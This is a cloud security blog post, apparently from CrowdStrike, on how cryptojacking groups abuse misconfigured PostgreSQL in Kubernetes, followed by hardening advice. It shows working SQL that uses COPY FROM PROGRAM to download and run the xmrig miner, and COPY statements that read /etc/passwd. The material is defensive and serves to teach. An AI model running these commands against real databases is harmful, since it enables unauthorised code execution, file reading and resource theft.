Securing PostgreSQL from Cryptojacking Campaigns in Kubernetes

Originally published by CrowdStrike.

• PostgreSQL misconfiguration allows running shell commands on the underlying OS with the “COPY” SQL command and “pg_execute_server_program” role
• Kubernetes ingress can allow access to the PostgreSQL service, which can be targeted by the attackers to compromise pods and subsequently a cluster
• PostgreSQL is targeted by multiple opportunistic cryptojacking groups like WatchDog, TeamTNT and Kinsing

PostgreSQL is a powerful, open-source relational database management system (RDBMS). Because of its robustness and scalability, PostgreSQL is used extensively in the cloud. Most public cloud providers including AWS, Azure and GCP provide database services to their customers based on PostgreSQL.

According to Google’s January 2023 Threat Horizons report, PostgreSQL is one of the most targeted applications in compromises of Google customers, placing third in frequency (17%) behind SSH (26%) and Jenkins (22%). Weak passwords continue to be the most common vector in the initial access, playing a role in 41% of observed compromises. Attackers are often on the lookout for poorly configured or unsecure PostgreSQL instances deployed in the cloud, Kubernetes or on-premises infrastructure.

The CrowdStrike cloud threat research team previously reported that WatchDog was scanning for PostgreSQL. Many opportunistic cryptojacking threat actors, including TeamTNT and Kinsing, have targeted misconfigured PostgreSQL instances to mine cryptocurrency. This blog takes a look at the most popular misconfigurations exploited by these adversaries.

Take the CrowdStrike Cloud Security Challenge with a free Cloud Security Health Check.

PostgreSQL Misconfiguration Allows Cryptojacking

Common PostgreSQL services hosted by cloud service providers (such as RDS, EKS and Azure SQL database) do not allow customization of authentication controls that could lead to this abuse, but when PostgreSQL is deployed manually, many misconfigurations in authentication methods, user roles, access and permissions could occur that may create exploitable exposures.

PostgreSQL supports multiple authentication methods when deployed manually. Of them, “trust” authentication is the most insecure and provides access without the need for any password, which is likely why cryptomining groups like to target PostgreSQL cloud instances with authentication type “trust” enabled. There are two ways in which “trust” authentication can be enabled:

1. Using a pg_hba.conf file
2. Using the environment variable POSTGRES_HOST_AUTH_METHOD=trust

Figure 1 shows “trust” authentication using pg_hba.conf where any user from any IP can connect to the PostgreSQL server without a password. The username could be a superuser name, in which case the attacker would inherit all of the privileges of a PostgreSQL superuser.

Figure 1. Insecure pg_hba.conf file

“Trust” authentication can also be enabled by setting the environment variable POSTGRES_HOST_AUTH_METHOD=trust inside a Kubernetes pod or a server. Once set, any IP or user can connect to the database without a password.

Additionally, “trust” authentication combined with risky PostgreSQL user default roles (noted below) provides a perfect opportunity for attackers to abuse databases to read or write sensitive files on the filesystem, modify the configuration and escalate privileges.

1. pg_read_server_files (allows OS file reads)
2. pg_write_server_files (allows OS file writes)
3. pg_execute_server_program (allows OS binary to execute)

In an attack on misconfigured PostgreSQL, a remote attacker can authenticate as a superuser or user having the right roles — e.g., pg_execute_server_program enables them to download and run suspicious files to mine cryptocurrency. Figure 2.A shows attackers using the COPY command to download and run xmrig, which mines digital currency like Monero; figure 2.B shows the xmrig process running inside a container successfully mining the currency.

postgres=# CREATE TABLE cmd_exec(cmd_output text);
postgres=# COPY cmd_exec FROM PROGRAM 'wget 
-c https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz [github.com] 
-O - | tar -xz';
postgres=# COPY cmd_exec FROM PROGRAM '/var/lib/postgresql/data/xmrig-6.18.1/xmrig';

Figure 2.A. An attacker using the COPY command to download and run xmrig

Figure 2.B. Xmrig mining cryptocurrency by remotely accessing misconfigured PostgreSQL

As another example, Figures 3.A and 3.B show how misconfigured PostgreSQL can be used to list any sensitive file without the use of any suspicious tools. Once an attacker has a foothold into the PostgreSQL service, they can set cron jobs to get a reverse shell, escalate privileges to the container root and pivot to attack the Kubernetes host, API or cloud provider’s API to escalate and take over a Kubernetes cluster or cloud account.

postgres=# CREATE TABLE read_files(output text);
postgres=# COPY read_files FROM '/etc/passwd';
postgres=# select * from read_files;

Figure 3.A. An attacker using the COPY command to read sensitive files in /etc/passwd

Figure 3.B. The results of an attacker using the COPY command to read sensitive files

Best Practices for Securing PostgreSQL

Securing a PostgreSQL workload requires a combination of good configuration practices and regular monitoring. Here are some general guidelines for securely deploying PostgreSQL in cloud and Kubernetes environments:

1. Use the latest version of PostgreSQL and install necessary patches.
2. Use a strong password when using password-based authentication methods.
3. Apply appropriate permission to secure configuration files like pg_hba.conf.
4. Enable SSL/TLS to secure the connection between the client and the PostgreSQL service.
5. Audit users and their security roles and follow the principle of least privilege.
6. Use Kubernetes namespace’d secrets.
7. Run the PostgreSQL service as a non-root user, which will add an additional layer of defense in case of compromise.
8. Limit the container resources available to the PostgreSQL service to an estimate.
9. Monitor hosts and containers for any malicious activity.
10. Use a Zero Trust mechanism to allow required access to the service in the cluster.
11. Use a proactive security solution to identify misconfiguration and vulnerabilities

Conclusion

Securing PostgreSQL, a popular cloud-based application, is crucial for preventing attacks on your infrastructure. Misconfigurations in PostgreSQL can serve as an entry point for attackers, as seen in cases where cryptojacking groups have taken advantage of such vulnerabilities to mine cryptocurrency for profit. To protect against such breaches, it is important to follow best practices for securing PostgreSQL, actively monitor for misconfigurations and maintain a strong overall security posture.